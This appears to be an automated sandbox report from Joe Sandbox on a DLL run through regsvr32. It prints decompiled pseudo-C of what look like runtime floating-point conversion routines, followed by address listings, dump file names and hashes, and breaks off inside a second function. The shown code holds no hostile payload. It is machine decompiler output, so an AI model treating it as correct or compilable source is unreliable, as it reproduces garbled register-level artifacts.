				 *((long long*)(_t359 + 0x18)) = __rbx;
				 *((long long*)(_t359 - 8)) = __rsi;
				 *((long long*)(_t359 - 0x10)) = __rdi;
				 *((long long*)(_t359 - 0x30)) = __r15;
				_t195 = __rcx[5] & 0x0000ffff;
				r9d = 0x1f;
				_a8 = _t195 & 0x00008000;
				_v96 = __rcx[3];
				_t340 = (_t195 & 0x00007fff) - 0x3fff;
				_v92 = __rcx[1];
				_v88 = ( *__rcx & 0x0000ffff) << 0x10;
				if(_t340 != 0xffffc001) {
					_t370 =  &_v96;
					_a32 = __rbp;
					_v24 = __r12;
					_t360 =  *_t370;
					_v40 = __r14;
					r14d =  *0x100b3160; // 0x35
					_v80 = _t360;
					_t337 = 0;
					_v72 =  *((intOrPtr*)(_t370 + 8));
					r11d = r9d;
					asm("cdq");
					r15d = _t340;
					_t274 = 0;
					_t312 = __edx & r9d;
					_t203 = r14d + _t312;
					r10d = _t203;
					r10d = r10d >> 5;
					_t419 = r10d;
					r11d = r11d - (_t203 & r9d) - _t312;
					__eflags = r11d;
					asm("inc esp");
					if(r11d >= 0) {
						L23:
						_t283 = r11d;
						_v32 = _t421;
						r13d = 3;
						 *(_t402 + 0x28 + _t419 * 4) =  *(_t402 + 0x28 + _t419 * 4) & 0xffffffff << r11d;
						_t61 = _t415 + 1; // 0xb00000036
						_t208 = _t61;
						_t383 = _t61;
						__eflags = _t383 - _t421;
						if(_t383 < _t421) {
							__eflags = _t421 - _t383 << 2;
							E1002E410(_t208, _t283, 0, _t402 + 0x28 + _t383 * 4, _t383, _t421 - _t383 << 2);
						}
						__eflags = _t274;
						if(_t274 != 0) {
							_t340 = _t340 + 1;
							__eflags = _t340;
						}
						_t313 =  *0x100b315c; // 0xfffffc01
						__eflags = _t340 - _t313 - r14d;
						if(_t340 >= _t313 - r14d) {
							__eflags = _t340 - _t313;
							if(_t340 > _t313) {
								__eflags = _t340 -  *0x100b3158; // 0x400
								if(__eflags < 0) {
									_t211 =  *0x100b3164; // 0xb
									r9d =  *0x100b316c; // 0x3ff
									asm("btr dword [esp+0x28], 0x1f");
									asm("cdq");
									r9d = r9d + _t340;
									_t314 = _t313 & 0x0000001f;
									r10d = _t337;
									_t404 = _t395;
									_t212 = _t211 + _t314;
									_t214 = (_t212 & 0x0000001f) - _t314;
									_t276 = _t212 >> 5;
									r11d = _t214;
									__eflags = 0x20;
									_t349 =  !(0xffffffff << _t214);
									do {
										_t315 =  *(_t402 + 0x28 + _t404 * 4);
										_v104 = _t349 & _t315;
										_t404 = _t404 + 1;
										r10d = _v104;
										 *(_t402 + 0x24 + _t404 * 4) = _t315 >> r11d | r10d;
										r10d = r10d << 0x20;
										__eflags = _t404 - _t421;
									} while (_t404 < _t421);
									_t384 = _t276;
									_t372 =  &_v88 - _t384 * 4;
									__eflags = _t372;
									do {
										__eflags = _t367 - _t384;
										if(_t367 < _t384) {
											 *(_t402 + 0x28 + _t367 * 4) = _t337;
										} else {
											 *(_t402 + 0x28 + _t367 * 4) =  *_t372;
										}
										_t372 = _t372 - 4;
										_t367 = _t367 - 1;
										__eflags = _t367;
									} while (_t367 >= 0);
									_t382 = _a16;
									r15d = 0x1f;
									goto L79;
								}
								_t221 =  *0x100b3164; // 0xb
								_v96 = _t395;
								asm("bts dword [esp+0x28], 0x1f");
								asm("cdq");
								_v88 = _t337;
								_t318 = _t313 & 0x0000001f;
								r9d = _t337;
								_t405 = _t395;
								_t222 = _t221 + _t318;
								r11d = _t222;
								_t224 = (_t222 & 0x0000001f) - _t318;
								r11d = r11d >> 5;
								r10d = _t224;
								__eflags = 0x20;
								_t351 =  !(0xffffffff << _t224);
								do {
									_t319 =  *(_t402 + 0x28 + _t405 * 4);
									_v104 = _t351 & _t319;
									_t405 = _t405 + 1;
									r9d = _v104;
									 *(_t402 + 0x24 + _t405 * 4) = _t319 >> r10d | r9d;
									r9d = r9d << 0x20;
									__eflags = _t405 - _t421;
								} while (_t405 < _t421);
								_t385 = r11d;
								_t374 =  &_v88 - _t385 * 4;
								__eflags = _t374;
								do {
									__eflags = _t367 - _t385;
									if(_t367 < _t385) {
										 *(_t402 + 0x28 + _t367 * 4) = _t337;
									} else {
										 *(_t402 + 0x28 + _t367 * 4) =  *_t374;
									}
									_t374 = _t374 - 4;
									_t367 = _t367 - 1;
									__eflags = _t367;
								} while (_t367 >= 0);
								_t293 =  *0x100b3158; // 0x400
								r9d =  *0x100b316c; // 0x3ff
								_t382 = _a16;
								_t337 = 1;
								r9d = r9d + _t293;
								_t163 = _t395 + 0x1e; // 0x1f
								r15d = _t163;
								goto L79;
							}
							_t322 = _t313 - r15d;
							_t363 =  &_v80;
							r10d = 0xffffffff;
							r9d = _t337;
							_v96 =  *_t363;
							asm("cdq");
							_v88 =  *((intOrPtr*)(_t363 + 8));
							_t323 = _t322 & 0x0000001f;
							_t406 = _t395;
							_t229 = _t322 + _t323;
							r12d = _t229;
							_t231 = (_t229 & 0x0000001f) - _t323;
							r12d = r12d >> 5;
							r11d = _t231;
							r10d = r10d << _t231;
							__eflags = 0x20;
							r10d =  !r10d;
							do {
								_t324 =  *(_t402 + 0x28 + _t406 * 4);
								_t406 = _t406 + 1;
								_t326 = _t324 >> r11d | r9d;
								_v104 = _t324 & r10d;
								 *(_t402 + 0x24 + _t406 * 4) = _t326;
								r9d = _v104;
								r9d = r9d << 0x20;
								__eflags = _t406 - _t421;
							} while (_t406 < _t421);
							_t407 = r12d;
							_t364 = _t407 * 4;
							_t376 = _t367;
							_t387 =  &_v88 - _t364;
							__eflags = _t387;
							do {
								__eflags = _t376 - _t407;
								if(_t376 < _t407) {
									 *(_t402 + 0x28 + _t376 * 4) = _t337;
								} else {
									 *(_t402 + 0x28 + _t376 * 4) =  *_t387;
								}
								_t387 = _t387 - 4;
								_t376 = _t376 - 1;
								__eflags = _t376;
							} while (_t376 >= 0);
							r8d =  *0x100b3160; // 0x35
							r15d = 0x1f;
							r12d = r15d;
							asm("cdq");
							_t327 = _t326 & 0x0000001f;
							_t236 = r8d + _t327;
							r11d = _t236;
							r11d = r11d >> 5;
							_t427 = r11d;
							r12d = r12d - (_t236 & 0x0000001f) - _t327;
							__eflags = r12d;
							asm("inc esp");
							if(r12d >= 0) {
								L52:
								_t299 = r12d;
								 *(_t402 + 0x28 + _t427 * 4) =  *(_t402 + 0x28 + _t427 * 4) & 0xffffffff << r12d;
								_t123 = _t417 + 1; // 0xb00000036
								_t241 = _t123;
								_t388 = _t123;
								__eflags = _t388 - _t421;
								if(_t388 < _t421) {
									_t327 = 0;
									__eflags = _t421 - _t388 << 2;
									E1002E410(_t241, _t299, 0, _t402 + 0x28 + _t388 * 4, _t388, _t421 - _t388 << 2);
								}
								_t242 =  *0x100b3164; // 0xb
								r9d = _t337;
								_t408 = _t395;
								asm("cdq");
								_t328 = _t327 & r15d;
								_t244 = _t242 + 1 + _t328;
								r11d = _t244;
								_t246 = (_t244 & r15d) - _t328;
								r11d = r11d >> 5;
								r10d = _t246;
								_t346 = 0x20 - _t246;
								__eflags = _t346;
								_t353 =  !(0xffffffff << _t246);
								do {
									_t329 =  *(_t402 + 0x28 + _t408 * 4);
									_v104 = _t353 & _t329;
									_t408 = _t408 + 1;
									r9d = _v104;
									 *(_t402 + 0x24 + _t408 * 4) = _t329 >> r10d | r9d;
									r9d = r9d << _t346;
									__eflags = _t408 - 3;
								} while (_t408 < 3);
								_t409 = r11d;
								_t377 = _t367;
								_t390 =  &_v88 - _t409 * 4;
								__eflags = _t390;
								do {
									__eflags = _t377 - _t409;
									if(_t377 < _t409) {
										 *(_t402 + 0x28 + _t377 * 4) = _t337;
									} else {
										 *(_t402 + 0x28 + _t377 * 4) =  *_t390;
									}
									_t390 = _t390 - 4;
									_t377 = _t377 - 1;
									__eflags = _t377;
								} while (_t377 >= 0);
								_t382 = _a16;
								r9d = _t337;
								_t337 = 2;
								goto L79;
							}
							_t391 = r11d;
							_t253 =  !(0xffffffff << r12d);
							__eflags =  *(_t402 + 0x28 + _t391 * 4) & _t253;
							if(( *(_t402 + 0x28 + _t391 * 4) & _t253) != 0) {
								L43:
								_t101 = _t407 - 1; // 0xb00000034
								r8d = 1;
								asm("cdq");
								_t332 = _t327 & r15d;
								_t255 = _t101 + _t332;
								r9d = _t255;
								r9d = r9d >> 5;
								_t416 = r9d;
								r8d = r8d << r15d - (_t255 & r15d) - _t332;
								_t306 = _t337;
								_t327 = _t364 + _t407;
								__eflags = _t327 -  *(_t402 + 0x28 + _t416 * 4);
								if(_t327 <  *(_t402 + 0x28 + _t416 * 4)) {
									L45:
									_t306 = 1;
									L46:
									_t106 = _t414 - 1; // 0x0
									_t259 = _t106;
									 *(_t402 + 0x28 + _t416 * 4) = _t327;
									__eflags = _t259;
									_t392 = _t259;
									if(_t259 < 0) {
										goto L52;
									} else {
										goto L47;
									}
									while(1) {
										L47:
										__eflags = _t306;
										if(_t306 == 0) {
											goto L52;
										}
										_t306 = _t337;
										r8d = _t364 + 1;
										__eflags = r8d -  *(_t402 + 0x28 + _t392 * 4);
										if(r8d <  *(_t402 + 0x28 + _t392 * 4)) {
											L50:
											_t306 = 1;
											L51:
											 *(_t402 + 0x28 + _t392 * 4) = r8d;
											_t392 = _t392 - 1;
											__eflags = _t392;
											if(_t392 >= 0) {
												continue;
											}
											goto L52;
										}
										__eflags = r8d - 1;
										if(r8d >= 1) {
											goto L51;
										}
										goto L50;
									}
									goto L52;
								}
								__eflags = _t327 - r8d;
								if(_t327 >= r8d) {
									goto L46;
								}
								goto L45;
							}
							_t97 = _t417 + 1; // 0xb00000036
							_t379 = _t97;
							__eflags = _t379 - _t421;
							if(_t379 >= _t421) {
								goto L52;
							} else {
								goto L40;
							}
							while(1) {
								L40:
								__eflags =  *((intOrPtr*)(_t402 + 0x28 + _t379 * 4)) - _t337;
								if( *((intOrPtr*)(_t402 + 0x28 + _t379 * 4)) != _t337) {
									goto L43;
								}
								_t379 = _t379 + 1;
								__eflags = _t379 - _t421;
								if(_t379 < _t421) {
									continue;
								}
								goto L52;
							}
							goto L43;
						} else {
							_t382 = _a16;
							_v96 = _t395;
							_v88 = _t337;
							r9d = _t337;
							_t337 = 2;
							_t68 = _t395 + 0x1d; // 0x1f
							r15d = _t68;
							L79:
							L80:
							r15d = r15d -  *0x100b3164;
							_t218 =  *0x100b3168; // 0x40
							_t287 = r15b & 0xffffffff;
							r9d = r9d << _t287;
							_a8 =  ~_a8;
							asm("sbb ecx, ecx");
							r9d = r9d | _t287 & 0x80000000;
							r9d = r9d | _v96;
							if(_t218 != 0x40) {
								__eflags = _t218 - 0x20;
								if(_t218 == 0x20) {
									 *_t382 = r9d;
								}
								return _t337;
							} else {
								_t382[1] = r9d;
								 *_t382 = _v92;
								return _t337;
							}
						}
					}
					_t393 = r10d;
					_t265 =  !(0xffffffff << r11d);
					__eflags =  *(_t402 + 0x28 + _t393 * 4) & _t265;
					if(( *(_t402 + 0x28 + _t393 * 4) & _t265) != 0) {
						L13:
						_t38 = _t425 - 1; // 0xb00000034
						asm("cdq");
						_t334 = _t312 & r9d;
						_t267 = _t38 + _t334;
						r8d = _t267;
						r8d = r8d >> 5;
						_t414 = r8d;
						_t336 = 1 << r9d - (_t267 & r9d) - _t334;
						_t310 = _t360 + _t393;
						__eflags = _t310 -  *((intOrPtr*)(_t402 + 0x28 + _t414 * 4));
						if(_t310 <  *((intOrPtr*)(_t402 + 0x28 + _t414 * 4))) {
							L15:
							_t274 = 1;
							L16:
							_t43 = _t403 - 1; // 0xb00000033
							_t271 = _t43;
							 *((intOrPtr*)(_t402 + 0x28 + _t414 * 4)) = _t310;
							__eflags = _t271;
							_t394 = _t271;
							if(_t271 < 0) {
								goto L23;
							}
							while(1) {
								__eflags = _t274;
								if(_t274 == 0) {
									goto L23;
								}
								_t274 = _t337;
								r8d = _t360 + 1;
								__eflags = r8d -  *(_t402 + 0x28 + _t394 * 4);
								if(r8d <  *(_t402 + 0x28 + _t394 * 4)) {
									L21:
									_t274 = 1;
									L22:
									 *(_t402 + 0x28 + _t394 * 4) = r8d;
									_t394 = _t394 - 1;
									__eflags = _t394;
									if(_t394 >= 0) {
										continue;
									}
									goto L23;
								}
								__eflags = r8d - 1;
								if(r8d >= 1) {
									goto L22;
								}
								goto L21;
							}
							goto L23;
						}
						__eflags = _t310 - _t336;
						if(_t310 >= _t336) {
							goto L16;
						}
						goto L15;
					}
					_t34 = _t415 + 1; // 0xb00000036
					_t381 = _t34;
					__eflags = _t381 - 3;
					if(_t381 >= 3) {
						goto L23;
					}
					while(1) {
						__eflags =  *((intOrPtr*)(_t402 + 0x28 + _t381 * 4)) - _t274;
						if( *((intOrPtr*)(_t402 + 0x28 + _t381 * 4)) != _t274) {
							goto L13;
						}
						_t381 = _t381 + 1;
						__eflags = _t381 - 3;
						if(_t381 < 3) {
							continue;
						}
						goto L23;
					}
					goto L13;
				}
				_t337 = 0;
				r9d = 0;
				_t366 = __rdi;
				while( *((intOrPtr*)(_t402 + 0x28 + _t366 * 4)) == _t337) {
					_t366 = _t366 + 1;
					if(_t366 < 3) {
						continue;
					}
					r15d = 0x1f;
					goto L80;
				}
				_v96 = _t395;
				_v88 = _t337;
				_t337 = 2;
				_t18 = _t395 + 0x1d; // 0x1f
				r15d = _t18;
				goto L80;
			}

0x1004a5e0
0x1004a5e0
0x1004a5e0
0x1004a5e0
0x1004a5e0
0x1004a5e0
0x1004a5e0
0x1004a5e0
0x1004a5e0
0x1004a5e5
0x1004a5ef
0x1004a5f3
0x1004a5f7
0x1004a5fb
0x1004a5ff
0x1004a603
0x1004a610
0x1004a620
0x1004a627
0x1004a62d
0x1004a63d
0x1004a641
0x1004a682
0x1004a687
0x1004a68f
0x1004a694
0x1004a697
0x1004a69c
0x1004a6a3
0x1004a6ab
0x1004a6ad
0x1004a6b4
0x1004a6b7
0x1004a6b8
0x1004a6bb
0x1004a6bd
0x1004a6c5
0x1004a6c7
0x1004a6cd
0x1004a6d3
0x1004a6d6
0x1004a6d6
0x1004a6de
0x1004a6e2
0x1004a799
0x1004a799
0x1004a79e
0x1004a7a5
0x1004a7ab
0x1004a7b0
0x1004a7b0
0x1004a7b4
0x1004a7b7
0x1004a7ba
0x1004a7c9
0x1004a7cd
0x1004a7cd
0x1004a7d2
0x1004a7d4
0x1004a7d6
0x1004a7d6
0x1004a7d6
0x1004a7d9
0x1004a7e4
0x1004a7e6
0x1004a80a
0x1004a80c
0x1004aa81
0x1004aa87
0x1004ab56
0x1004ab5c
0x1004ab63
0x1004ab69
0x1004ab6a
0x1004ab72
0x1004ab75
0x1004ab78
0x1004ab7b
0x1004ab82
0x1004ab84
0x1004ab89
0x1004ab8e
0x1004ab90
0x1004ab92
0x1004ab92
0x1004aba5
0x1004aba9
0x1004abad
0x1004abb2
0x1004abb7
0x1004abba
0x1004abba
0x1004abbf
0x1004abd4
0x1004abd4
0x1004abd7
0x1004abd7
0x1004abda
0x1004abe4
0x1004abdc
0x1004abde
0x1004abde
0x1004abe8
0x1004abec
0x1004abec
0x1004abec
0x1004abf2
0x1004abfa
0x00000000
0x1004abfa
0x1004aa8d
0x1004aa98
0x1004aa9d
0x1004aaa3
0x1004aaa4
0x1004aaa8
0x1004aaab
0x1004aaae
0x1004aab1
0x1004aab3
0x1004aab9
0x1004aabb
0x1004aac1
0x1004aac6
0x1004aac8
0x1004aad0
0x1004aad0
0x1004aae3
0x1004aae7
0x1004aaeb
0x1004aaf0
0x1004aaf5
0x1004aaf8
0x1004aaf8
0x1004aafd
0x1004ab12
0x1004ab12
0x1004ab15
0x1004ab15
0x1004ab18
0x1004ab22
0x1004ab1a
0x1004ab1c
0x1004ab1c
0x1004ab26
0x1004ab2a
0x1004ab2a
0x1004ab2a
0x1004ab30
0x1004ab36
0x1004ab3d
0x1004ab45
0x1004ab4a
0x1004ab4d
0x1004ab4d
0x00000000
0x1004ab4d
0x1004a812
0x1004a815
0x1004a81a
0x1004a825
0x1004a828
0x1004a832
0x1004a833
0x1004a839
0x1004a83c
0x1004a83f
0x1004a841
0x1004a847
0x1004a849
0x1004a84f
0x1004a852
0x1004a855
0x1004a857
0x1004a860
0x1004a860
0x1004a868
0x1004a872
0x1004a878
0x1004a87c
0x1004a881
0x1004a886
0x1004a889
0x1004a889
0x1004a88e
0x1004a89b
0x1004a8a3
0x1004a8a6
0x1004a8a6
0x1004a8b0
0x1004a8b0
0x1004a8b3
0x1004a8bd
0x1004a8b5
0x1004a8b7
0x1004a8b7
0x1004a8c1
0x1004a8c5
0x1004a8c5
0x1004a8c5
0x1004a8cb
0x1004a8d2
0x1004a8db
0x1004a8de
0x1004a8df
0x1004a8e2
0x1004a8e4
0x1004a8ea
0x1004a8f0
0x1004a8f3
0x1004a8f3
0x1004a8fb
0x1004a8ff
0x1004a9b1
0x1004a9b1
0x1004a9b8
0x1004a9bd
0x1004a9bd
0x1004a9c1
0x1004a9c4
0x1004a9c7
0x1004a9d1
0x1004a9d3
0x1004a9da
0x1004a9da
0x1004a9df
0x1004a9e5
0x1004a9e8
0x1004a9ee
0x1004a9ef
0x1004a9f2
0x1004a9f4
0x1004a9fa
0x1004a9fc
0x1004aa02
0x1004aa07
0x1004aa07
0x1004aa09
0x1004aa10
0x1004aa10
0x1004aa23
0x1004aa27
0x1004aa2b
0x1004aa30
0x1004aa35
0x1004aa38
0x1004aa38
0x1004aa3e
0x1004aa46
0x1004aa51
0x1004aa51
0x1004aa54
0x1004aa54
0x1004aa57
0x1004aa61
0x1004aa59
0x1004aa5b
0x1004aa5b
0x1004aa65
0x1004aa69
0x1004aa69
0x1004aa69
0x1004aa6f
0x1004aa77
0x1004aa7a
0x00000000
0x1004aa7a
0x1004a90a
0x1004a90f
0x1004a911
0x1004a915
0x1004a938
0x1004a938
0x1004a93f
0x1004a945
0x1004a946
0x1004a949
0x1004a94b
0x1004a953
0x1004a959
0x1004a961
0x1004a964
0x1004a966
0x1004a96a
0x1004a96c
0x1004a973
0x1004a973
0x1004a978
0x1004a978
0x1004a978
0x1004a97c
0x1004a981
0x1004a983
0x1004a986
0x00000000
0x00000000
0x00000000
0x00000000
0x1004a988
0x1004a988
0x1004a988
0x1004a98a
0x00000000
0x00000000
0x1004a990
0x1004a992
0x1004a996
0x1004a999
0x1004a9a1
0x1004a9a1
0x1004a9a6
0x1004a9a6
0x1004a9ab
0x1004a9ab
0x1004a9af
0x00000000
0x00000000
0x00000000
0x1004a9af
0x1004a99b
0x1004a99f
0x00000000
0x00000000
0x00000000
0x1004a99f
0x00000000
0x1004a988
0x1004a96e
0x1004a971
0x00000000
0x00000000
0x00000000
0x1004a971
0x1004a917
0x1004a91b
0x1004a91e
0x1004a921
0x00000000
0x00000000
0x00000000
0x00000000
0x1004a927
0x1004a927
0x1004a927
0x1004a92b
0x00000000
0x00000000
0x1004a92d
0x1004a931
0x1004a934
0x00000000
0x00000000
0x00000000
0x1004a936
0x00000000
0x1004a7e8
0x1004a7e8
0x1004a7f0
0x1004a7f5
0x1004a7f9
0x1004a7fc
0x1004a801
0x1004a801
0x1004ac00
0x1004ac17
0x1004ac17
0x1004ac1e
0x1004ac34
0x1004ac3d
0x1004ac40
0x1004ac47
0x1004ac4f
0x1004ac52
0x1004ac5a
0x1004ac75
0x1004ac78
0x1004ac7a
0x1004ac7a
0x1004ac8b
0x1004ac5c
0x1004ac60
0x1004ac66
0x1004ac74
0x1004ac74
0x1004ac5a
0x1004a7e6
0x1004a6ed
0x1004a6f2
0x1004a6f4
0x1004a6f8
0x1004a722
0x1004a725
0x1004a729
0x1004a72a
0x1004a72d
0x1004a72f
0x1004a737
0x1004a742
0x1004a74a
0x1004a74c
0x1004a74f
0x1004a751
0x1004a757
0x1004a757
0x1004a75c
0x1004a75c
0x1004a75c
0x1004a760
0x1004a765
0x1004a767
0x1004a76a
0x00000000
0x00000000
0x1004a770
0x1004a770
0x1004a772
0x00000000
0x00000000
0x1004a778
0x1004a77a
0x1004a77e
0x1004a781
0x1004a789
0x1004a789
0x1004a78e
0x1004a78e
0x1004a793
0x1004a793
0x1004a797
0x00000000
0x00000000
0x00000000
0x1004a797
0x1004a783
0x1004a787
0x00000000
0x00000000
0x00000000
0x1004a787
0x00000000
0x1004a770
0x1004a753
0x1004a755
0x00000000
0x00000000
0x00000000
0x1004a755
0x1004a6fa
0x1004a6fe
0x1004a701
0x1004a705
0x00000000
0x00000000
0x1004a710
0x1004a710
0x1004a714
0x00000000
0x00000000
0x1004a716
0x1004a71a
0x1004a71e
0x00000000
0x00000000
0x00000000
0x1004a720
0x00000000
0x1004a710
0x1004a643
0x1004a645
0x1004a648
0x1004a650
0x1004a656
0x1004a65e
0x00000000
0x00000000
0x1004a660
0x00000000
0x1004a660
0x1004a66b
0x1004a670
0x1004a674
0x1004a679
0x1004a679
0x00000000

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a430ee27e4dbb59a256faa3fc30a4f9a2f0a4a8321c8e3561600d90905cb2a
Instruction ID: 9cb8307946a66f31432bb32967157144fe8cc69b3ce45f217cd6e5ccb401b0e5
Opcode Fuzzy Hash: 01a430ee27e4dbb59a256faa3fc30a4f9a2f0a4a8321c8e3561600d90905cb2a
Instruction Fuzzy Hash: 9C0215777146808BD724CF29E84475AB7E2F3C9784F258239DA8AD7B58DA3CD984CB04

Uniqueness

Uniqueness Score: -1.00%

Function 1004B340 Relevance: .4, Instructions: 437
COMMONCrypto

Download Yara Rule

C-Code - Quality: 85%

			E1004B340(long long __rbx, long long __rcx, signed char** __rdx, long long __rdi, long long __rsi, long long __rbp, signed char* __r8, void* __r9, void* __r10, long long __r12, long long __r13, long long __r14, long long __r15, intOrPtr _a40, intOrPtr _a48, intOrPtr _a64) {
				void* _v8;
				void* _v16;
				void* _v24;
				void* _v32;
				void* _v40;
				void* _v48;
				void* _v56;
				void* _v64;
				signed int _v88;
				signed int _v97;
				char _v120;
				signed int _v134;
				unsigned int _v136;
				signed int _v142;
				unsigned int _v144;
				signed int _v146;
				signed int _v148;
				signed int _v150;
				signed int _v152;
				signed int _v158;
				signed int _v160;
				signed int _v162;
				signed int _v164;
				signed short _v166;
				unsigned int _v168;
				void* _v176;
				long long _v184;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				long long _v216;
				signed int _t152;
				unsigned int _t153;
				signed int _t154;
				signed short _t164;
				signed short _t165;
				signed short _t169;
				signed short _t170;
				signed int _t171;
				signed int _t175;
				signed int _t177;
				signed int _t191;
				signed int _t192;
				signed int _t193;
				signed char _t194;
				signed int _t198;
				signed int _t199;
				signed int _t201;
				signed short _t202;
				signed short _t203;
				signed int _t205;
				signed int _t209;
				signed int _t211;
				signed short _t215;
				signed int _t216;
				signed int _t221;
				void* _t222;
				signed int _t223;
				signed int _t226;
				signed long long _t231;
				unsigned long long _t239;
				signed long long _t243;
				void* _t244;
				long long _t247;
				signed int* _t248;
				signed char* _t251;
				signed long long _t258;
				void* _t261;
				signed int* _t262;
				void* _t263;
				signed int _t264;
				signed long long _t265;
				void* _t266;
				char* _t267;
				signed short* _t268;
				signed char** _t272;
				long long _t274;
				signed int* _t276;

				_t274 = __r14;
				_t263 = __r10;
				_t261 = __r9;
				_t259 = __r8;
				_t250 = __rdi;
				_t245 = __rdx;
				_t236 = __rbx;
				_t265 = _t258;
				_t231 =  *0x100b1640; // 0xf93099fb11e7
				_t232 = _t231 ^ _t258;
				_v88 = _t232;
				 *((long long*)(_t265 - 8)) = __rbx;
				 *((long long*)(_t265 - 0x10)) = __rbp;
				 *((long long*)(_t265 - 0x18)) = __rsi;
				_t254 = _a64;
				 *((long long*)(_t265 - 0x20)) = __rdi;
				 *((long long*)(_t265 - 0x28)) = __r12;
				 *((long long*)(_t265 - 0x30)) = __r13;
				 *((long long*)(_t265 - 0x38)) = __r14;
				 *((long long*)(_t265 - 0x40)) = __r15;
				_v192 = r9d;
				_t272 = __rdx;
				_v176 = __rcx;
				_t266 = _t265 - 0x78;
				_v196 = 0;
				_t15 = _t250 + 1; // 0x1
				r14d = _t15;
				r10d = 0;
				r15d = 0;
				r12d = 0;
				_v200 = 0;
				_t198 = 0;
				r9d = 0;
				if(_a64 != 0) {
					_t251 = __r8;
					while(1) {
						_t152 =  *_t259 & 0x000000ff;
						__eflags = _t152 - 0x20;
						if(_t152 == 0x20) {
							goto L7;
						}
						__eflags = _t152 - 9;
						if(_t152 == 9) {
							goto L7;
						}
						__eflags = _t152 - 0xa;
						if(_t152 == 0xa) {
							goto L7;
						}
						__eflags = _t152 - 0xd;
						if(_t152 != 0xd) {
							_t239 = 0x10000000;
							while(1) {
								_t259 =  &(_t259[1]);
								__eflags = r9d - 0xb;
								if(r9d <= 0xb) {
									break;
								}
								__eflags = r9d - 0xa;
								if(r9d != 0xa) {
									continue;
								}
								_t221 = 0;
								__eflags = 0;
								__eflags = 0;
								 *_t272 = _t259;
								if(0 == 0) {
									r8d = 0;
									_t211 = 0;
									_t221 = 4;
									goto L106;
								} else {
									__eflags = r10d - 0x18;
									if(r10d <= 0x18) {
										__eflags = r10d;
										if(r10d == 0) {
											r8d = 0;
											_t211 = 0;
											L106:
											_t201 = 0;
											_t153 = 0;
											__eflags = 0;
											L107:
											_t262 = _v176;
											_t154 = _t153 | _v196;
											__eflags = _t154;
											_t262[2] = _t154;
											 *_t262 = _t201;
											_t262[0] = _t211;
											_t262[1] = r8d;
											goto L108;
										}
										L19:
										_t267 = _t266 - 1;
										__eflags =  *_t267;
										if( *_t267 != 0) {
											L22:
											_t25 =  &_v152; // 0x61
											_t26 =  &_v120; // 0x81
											E1004EED0(r10d, _t236, _t26, _t245, _t251, _t254, _t25, _t261, _t263, _t267);
											__eflags = r14d;
											if(r14d >= 0) {
												r8d = _v200;
											} else {
												r8d = _v200;
												r8d =  ~r8d;
											}
											r8d = r8d + _t198;
											__eflags = r12d;
											if(r12d == 0) {
												r8d = r8d + _a40;
												__eflags = r8d;
											}
											__eflags = r15d;
											if(r15d == 0) {
												r8d = r8d - _a48;
												__eflags = r8d;
											}
											__eflags = r8d - 0x1450;
											if(r8d > 0x1450) {
												_t211 = _t221;
												_t153 = 0x7fff;
												r8d = 0x80000000;
												_t221 = 2;
												_t201 = 0;
												goto L107;
											} else {
												__eflags = r8d - 0xffffebb0;
												if(r8d < 0xffffebb0) {
													r8d = _t221;
													_t211 = _t221;
													_t221 = 1;
													goto L106;
												}
												_t247 = 0x100b3270;
												__eflags = r8d;
												if(r8d == 0) {
													L101:
													_t201 = _v152 & 0x0000ffff;
													_t211 = _v150;
													r8d = _v146;
													_t153 = _v144 >> 0x10;
													goto L107;
												}
												__eflags = r8d;
												if(r8d < 0) {
													r8d =  ~r8d;
													_t247 = 0x100b33d0;
													__eflags = 0x100b3430;
												}
												__eflags = _v192;
												_t160 =  ==  ? 0 : _v152 & 0x0000ffff;
												__eflags = r8d;
												_v152 =  ==  ? 0 : _v152 & 0x0000ffff;
												if(r8d == 0) {
													_t221 = 0;
													__eflags = 0;
												} else {
													r9d = 0xffff8000;
													do {
														_t247 = _t247 + 0x54;
														r8d = r8d >> 3;
														__eflags = r8d & 0x00000007;
														_v200 = r8d;
														_v184 = _t247;
														if((r8d & 0x00000007) == 0) {
															goto L98;
														}
														_t243 = _t232 + _t232 * 2;
														__eflags =  *((short*)(_t247 + _t243 * 4)) - 0x8000;
														_t276 = _t247 + _t243 * 4;
														if( *((short*)(_t247 + _t243 * 4)) >= 0x8000) {
															_t42 =  &_v136; // 0x71
															_t243 = _t42;
															 *_t243 =  *_t276;
															_t191 = _t276[2];
															_t44 =  &_v136; // 0x71
															_t276 = _t44;
															 *(_t243 + 8) = _t191;
															_t232 = _v136 >> 0x10;
															_t192 = _t191 - 1;
															__eflags = _t192;
															_v134 = _t192;
														}
														_t202 = _t276[2] & 0x0000ffff;
														_t164 = _v142 & 0x0000ffff;
														r15d = 0;
														_t203 = _t202 & 0x00007fff;
														_v168 = 0;
														_t165 = _t164 & 0x00007fff;
														_v164 = 0;
														_t215 = (_t202 & 0x0000ffff ^ _t164) & 0x00008000;
														__eflags = _t165 - 0x7fff;
														_v160 = 0;
														_v192 = _t215;
														_t222 = _t232 + _t243;
														if(_t165 >= 0x7fff) {
															L97:
															__eflags = _t215;
															_t247 = _v184;
															_t167 =  !=  ? r9d : 0x7fff8000;
															__eflags = 0x7fff8000;
															_v148 = 0;
															_v152 = 0;
															_v144 =  !=  ? r9d : 0x7fff8000;
														} else {
															__eflags = _t203 - 0x7fff;
															if(_t203 >= 0x7fff) {
																goto L97;
															}
															__eflags = _t222 - 0xbffd;
															if(_t222 > 0xbffd) {
																goto L97;
															}
															__eflags = _t222 - 0x3fbf;
															if(_t222 > 0x3fbf) {
																__eflags = _t165;
																if(_t165 != 0) {
																	L49:
																	__eflags = _t203;
																	if(_t203 != 0) {
																		L54:
																		r13d = 0;
																		_t248 =  &_v164;
																		r12d = 5;
																		do {
																			__eflags = r12d;
																			_t199 = r12d;
																			_t244 = _t272 + _t272;
																			if(r12d <= 0) {
																				goto L69;
																			}
